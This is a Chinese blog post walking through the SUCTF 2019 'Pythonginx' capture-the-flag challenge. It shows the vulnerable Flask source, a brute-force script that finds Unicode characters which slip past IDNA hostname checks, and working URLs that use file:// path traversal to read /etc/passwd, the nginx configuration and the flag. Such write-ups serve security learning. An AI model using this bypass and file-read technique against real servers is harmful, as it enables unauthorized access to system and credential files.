[SUCTF 2019]Pythonginx
这道题用的是blackhat
议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
,blackhat这个议题的PPT链接如下:
题目给了我们源代码,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | @app .route( '/getUrl' , methods = [ 'GET' , 'POST' ]) def getUrl(): url = request.args.get( "url" ) host = parse.urlparse(url).hostname if host = = 'suctf.cc' : return "我扌 your problem? 111" parts = list (urlsplit(url)) host = parts[ 1 ] if host = = 'suctf.cc' : return "我扌 your problem? 222 " + host newhost = [] for h in host.split( '.' ): newhost.append(h.encode( 'idna' ).decode( 'utf-8' )) parts[ 1 ] = '.' .join(newhost) #去掉 url 中的空格 finalUrl = urlunsplit(parts).split( ' ' )[ 0 ] host = parse.urlparse(finalUrl).hostname if host = = 'suctf.cc' : return urllib.request.urlopen(finalUrl).read() else : return "我扌 your problem? 333" |
从代码上看,我们需要提交一个url,用来读取服务器端任意文件
简单来说,需要逃脱前两个if,成功进入第三个if。
而三个if中判断条件都是相同的,不过在此之前的host构造却是不同的,这也是blackhat该议题中想要说明的一点
当URL 中出现一些特殊字符的时候,输出的结果可能不在预期
接着我们只需要按照getUrl函数写出爆破脚本即可得到我们能够逃逸的构造语句了
脚本是偷得
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | from urllib.parse import urlparse,urlunsplit,urlsplit from urllib import parse def get_unicode(): for x in range ( 65536 ): uni = chr (x) url = "http://suctf.c{}" . format (uni) try : if getUrl(url): print ( "str: " + uni + ' unicode: \\u' + str ( hex (x))[ 2 :]) except : pass def getUrl(url): url = url host = parse.urlparse(url).hostname if host = = 'suctf.cc' : return False parts = list (urlsplit(url)) host = parts[ 1 ] if host = = 'suctf.cc' : return False newhost = [] for h in host.split( '.' ): newhost.append(h.encode( 'idna' ).decode( 'utf-8' )) parts[ 1 ] = '.' .join(newhost) finalUrl = urlunsplit(parts).split( ' ' )[ 0 ] host = parse.urlparse(finalUrl).hostname if host = = 'suctf.cc' : return True else : return False if __name__ = = '__main__' : get_unicode() |
最后输出的结果有:
我们只需要用其中任意一个去读取文件就可以了
比如:http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%82/../../../../../etc/passwd
先读一下etc/passwd
题目提示我们是nginx,所以我们去读取nginx的配置文件
这里读的路径是 /usr/local/nginx/conf/nginx.conf
http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/local/nginx/conf/nginx.conf
看到有:
于是访问http://29606583-b54e-4b3f-8be0-395c977bfe1e.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/fffffflag
得到flag
贴上另外部分nginx的配置文件所在位置
1 2 3 4 5 6 7 | 配置文件存放目录: / etc / nginx 主配置文件: / etc / nginx / conf / nginx.conf 管理脚本: / usr / lib64 / systemd / system / nginx.service 模块: / usr / lisb64 / nginx / modules 应用程序: / usr / sbin / nginx 程序默认存放位置: / usr / share / nginx / html 日志默认存放位置: / var / log / nginx |
参考的博客链接:
https://xi4or0uji.github.io/2019/08/25/2019-SUCTF-wp/#Pythonginx
https://www.xmsec.cc/suctf19-wp/
https://xz.aliyun.com/t/6042#toc-24
__EOF__

本文链接:https://www.cnblogs.com/Cl0ud/p/12187204.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 【自荐】一款简洁、开源的在线白板工具 Drawnix
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
· Docker 太简单,K8s 太复杂?w7panel 让容器管理更轻松!